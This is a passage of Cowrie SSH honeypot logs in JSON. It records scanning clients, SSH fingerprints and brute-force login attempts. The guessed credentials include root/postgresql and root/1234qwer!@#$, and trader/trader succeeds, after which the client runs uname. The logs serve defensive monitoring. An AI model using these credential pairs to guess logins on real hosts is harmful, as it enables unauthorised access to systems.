mac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:42.294445Z","src_ip":"221.161.235.168","session":"2cd2c5c465cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"postgresql","message":"login attempt [root/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:43.120508Z","src_ip":"221.161.235.168","session":"2cd2c5c465cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:43.391396Z","src_ip":"8.218.166.49","session":"b970d5d4b25f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:44.068884Z","src_ip":"8.218.166.49","session":"b970d5d4b25f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:44.073491Z","src_ip":"8.218.166.49","session":"b970d5d4b25f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:44.296471Z","src_ip":"8.218.166.49","session":"b970d5d4b25f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:44.302439Z","src_ip":"8.218.166.49","session":"b970d5d4b25f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:44.324435Z","src_ip":"221.161.235.168","session":"2cd2c5c465cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":46566,"dst_ip":"159.203.135.109","dst_port":22,"session":"518188900720","protocol":"ssh","message":"New connection: 165.154.6.49:46566 (159.203.135.109:22) [session: 518188900720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:48.006675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:48.010853Z","src_ip":"165.154.6.49","session":"518188900720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:48.233573Z","src_ip":"165.154.6.49","session":"518188900720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":47990,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bc31256e7d4","protocol":"ssh","message":"New connection: 190.167.237.191:47990 (159.203.135.109:22) [session: 5bc31256e7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:48.841683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:48.846677Z","src_ip":"190.167.237.191","session":"5bc31256e7d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:48.910877Z","src_ip":"190.167.237.191","session":"5bc31256e7d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:49.158877Z","src_ip":"165.154.6.49","session":"518188900720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer!@#$","message":"login attempt [root/1234qwer!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:49.180347Z","src_ip":"190.167.237.191","session":"5bc31256e7d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":54971,"dst_ip":"159.203.135.109","dst_port":22,"session":"c843e47dfd28","protocol":"ssh","message":"New connection: 88.147.30.59:54971 (159.203.135.109:22) [session: c843e47dfd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:49.864954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:49.870153Z","src_ip":"88.147.30.59","session":"c843e47dfd28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:49.994060Z","src_ip":"88.147.30.59","session":"c843e47dfd28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:50.242221Z","src_ip":"190.167.237.191","session":"5bc31256e7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:50.386428Z","src_ip":"165.154.6.49","session":"518188900720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:50.514303Z","src_ip":"88.147.30.59","session":"c843e47dfd28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:05:51.639941Z","src_ip":"88.147.30.59","session":"c843e47dfd28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34948,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e3c2dc78fea","protocol":"ssh","message":"New connection: 8.218.166.49:34948 (10.17.0.5:22) [session: 5e3c2dc78fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:02.956827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:02.965446Z","src_ip":"8.218.166.49","session":"5e3c2dc78fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39012,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab10bc8a391a","protocol":"ssh","message":"New connection: 8.218.166.49:39012 (10.17.0.5:22) [session: ab10bc8a391a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:09.949646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:09.954467Z","src_ip":"8.218.166.49","session":"ab10bc8a391a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60278,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c9226b00adc","protocol":"ssh","message":"New connection: 8.218.166.49:60278 (10.17.0.5:22) [session: 8c9226b00adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:13.110003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:13.114219Z","src_ip":"8.218.166.49","session":"8c9226b00adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.81.85.130","src_port":49508,"dst_ip":"10.17.0.5","dst_port":22,"session":"da6ae0f0b774","protocol":"ssh","message":"New connection: 51.81.85.130:49508 (10.17.0.5:22) [session: da6ae0f0b774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.715893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.720929Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.733844Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:83:1c:fd:f3:06:b8:0c:1d:e1:0e:50:63:a6:13:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs097bIzhPWW7f01RJZbhpfbtvjafROgx+yZimQk39v+JjnQmFhP9gErjsOZLjdbYSRjGjNvVcOGodlmCMrCCN+i9MTTixSU1TZMGvYclMrb/skEnzwHKFcgdxGX97H63KFi7vm/YesL8Gc6UmX0evvestmby8H3D1ufu3rpUSKodbRtqMBeWxtAZrqaF/lD3n+ZCam+2yDzD7/zUyWKaFiuhHrYHWjAYFToaN8dkclgpgc29JpJlYjLvz9+92d9Qkdu2EtnrwekwByujAhEiG8ZyEPOK0gxyuK8+MPtNDhq6vBV7DInH5Kh5xaLYZtr8XGuOgSWwi7pe+hdBSChYewDfwwWL/SU0Prx7H+g66efvVSa2ArhFfSXHL01K8jWCBy0XW77qB2czHnVrTu146lTPwtF9yLDrDQHh8+HmRPD3Vrhjwyjcqyj8tR/80zUvv3ayPXvIW55c3OMBFM3nFR7fq4l8zIX8IAz/wWrI2qY5mSGN+Qb969SJvN1JLFRE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:83:1c:fd:f3:06:b8:0c:1d:e1:0e:50:63:a6:13:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.782016Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:83:1c:fd:f3:06:b8:0c:1d:e1:0e:50:63:a6:13:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs097bIzhPWW7f01RJZbhpfbtvjafROgx+yZimQk39v+JjnQmFhP9gErjsOZLjdbYSRjGjNvVcOGodlmCMrCCN+i9MTTixSU1TZMGvYclMrb/skEnzwHKFcgdxGX97H63KFi7vm/YesL8Gc6UmX0evvestmby8H3D1ufu3rpUSKodbRtqMBeWxtAZrqaF/lD3n+ZCam+2yDzD7/zUyWKaFiuhHrYHWjAYFToaN8dkclgpgc29JpJlYjLvz9+92d9Qkdu2EtnrwekwByujAhEiG8ZyEPOK0gxyuK8+MPtNDhq6vBV7DInH5Kh5xaLYZtr8XGuOgSWwi7pe+hdBSChYewDfwwWL/SU0Prx7H+g66efvVSa2ArhFfSXHL01K8jWCBy0XW77qB2czHnVrTu146lTPwtF9yLDrDQHh8+HmRPD3Vrhjwyjcqyj8tR/80zUvv3ayPXvIW55c3OMBFM3nFR7fq4l8zIX8IAz/wWrI2qY5mSGN+Qb969SJvN1JLFRE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.788578Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:e2:ee:97:73:de:15:e4:7f:f0:b0:85:0e:d0:39:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSLcpGznxYU/3FyJhRPrXiXXvgmsmVMFrkArXYYChULZ8v/gGrwSfaLbKIDUaCBlmEbg6mCuzh/dwJCfd0jDoHgzFC0RhJF6QeYRhY8refBJO7/wRX/Pfw8pfcdNfDZk0WVCnsKdUN3Nat/YDET/z31gR77Bk8OJZGzzJmsFX7Zh+Pxea0BbFSijg2G+ee6HQQk0DSCcCQxfJz/mV8amxBoDn43tbRhEYgd85B0c6r7UPMKS1DPFA7B198dV76IWTO8/26HeZ3eMDTg5zeXQCugrDM89WWvtqzCw24XVVcHOmjOzTsW6ouDo7Gliv2pM/I7bam8NCfTm6dDVeEP/MX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:e2:ee:97:73:de:15:e4:7f:f0:b0:85:0e:d0:39:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.804012Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:e2:ee:97:73:de:15:e4:7f:f0:b0:85:0e:d0:39:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSLcpGznxYU/3FyJhRPrXiXXvgmsmVMFrkArXYYChULZ8v/gGrwSfaLbKIDUaCBlmEbg6mCuzh/dwJCfd0jDoHgzFC0RhJF6QeYRhY8refBJO7/wRX/Pfw8pfcdNfDZk0WVCnsKdUN3Nat/YDET/z31gR77Bk8OJZGzzJmsFX7Zh+Pxea0BbFSijg2G+ee6HQQk0DSCcCQxfJz/mV8amxBoDn43tbRhEYgd85B0c6r7UPMKS1DPFA7B198dV76IWTO8/26HeZ3eMDTg5zeXQCugrDM89WWvtqzCw24XVVcHOmjOzTsW6ouDo7Gliv2pM/I7bam8NCfTm6dDVeEP/MX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.807884Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:6f:4b:08:89:5f:60:8d:d7:ac:5a:d8:74:40:3c:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUjZMzcVkX9qjYdjetyGjSmK9RAxm8pOqWv8G12c8LoeqHiFMhtXNvYi9u2J0IsEY+aSZE9UpJsEuVmzeWhqRik1FctjAU2tiexf6fFW8N8xqOr+vQJHf61ZlDjij0Quu7kjrQ9IfzyqWuusN56Cdlxjc25Outzpt4uo8zP/+85V/AXre6Qpf+ZUfkKsR/OOqXq4m/pRDYLkbjqnxgr3q0SuUTgEqwqFezCRxrpQOAfitpcSQOtwe6GziSn3nd423F7R7fXUrVE8a86ik2FLvNWg/sff7fB6s0d2RaN2mf3Ol/9XT4NlZhfV2f+G28RYy1k7llNsy4S1iiBMQq6AFX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:6f:4b:08:89:5f:60:8d:d7:ac:5a:d8:74:40:3c:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.822981Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:6f:4b:08:89:5f:60:8d:d7:ac:5a:d8:74:40:3c:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUjZMzcVkX9qjYdjetyGjSmK9RAxm8pOqWv8G12c8LoeqHiFMhtXNvYi9u2J0IsEY+aSZE9UpJsEuVmzeWhqRik1FctjAU2tiexf6fFW8N8xqOr+vQJHf61ZlDjij0Quu7kjrQ9IfzyqWuusN56Cdlxjc25Outzpt4uo8zP/+85V/AXre6Qpf+ZUfkKsR/OOqXq4m/pRDYLkbjqnxgr3q0SuUTgEqwqFezCRxrpQOAfitpcSQOtwe6GziSn3nd423F7R7fXUrVE8a86ik2FLvNWg/sff7fB6s0d2RaN2mf3Ol/9XT4NlZhfV2f+G28RYy1k7llNsy4S1iiBMQq6AFX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.827509Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:7a:e4:f9:4b:0f:e3:48:bb:3c:44:94:06:56:0a:72","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH5V9yem5leTLmGZmJMMvvjA0iGLcM9oWa1hIKfoM22o","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0a:7a:e4:f9:4b:0f:e3:48:bb:3c:44:94:06:56:0a:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.842959Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:7a:e4:f9:4b:0f:e3:48:bb:3c:44:94:06:56:0a:72","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH5V9yem5leTLmGZmJMMvvjA0iGLcM9oWa1hIKfoM22o","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.847053Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:22:36:88:af:34:bb:b3:59:c2:7e:34:84:f7:4d:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCFrf+Wy0BwLRxlZRd5TcfMcJ6P0kVMhqu6Uf6y2Y5iXLgX6J3ABGfxHTOws17JixmPF790GvOPRepWkio8e4OvmXRji70vk+pvKIeT4J7DVrART/rzTdyS4Tz7FTM+2/C0g4M3HHKFj7jHeIhlexJc4efevKLoqytKQklxgDGQtwtEKhxTphTvNFSoyZMdYn+jZo3p7daJPqEUponX3O9T7YVsKn9FbJTVN4jPgyqJdTbod6vdU+UlxOCoq0mRMk5LRWnDDns4gpID13W58rHy6KQ7o9g6X+54dAWvxjsWyHqj6KGRfQ8BEU487tYyxH41x7qOkU0JiXC3pKO1im/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:22:36:88:af:34:bb:b3:59:c2:7e:34:84:f7:4d:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:06:14.864469Z","src_ip":"51.81.85.130","session":"da6ae0f0b774","protocol":"ssh"}
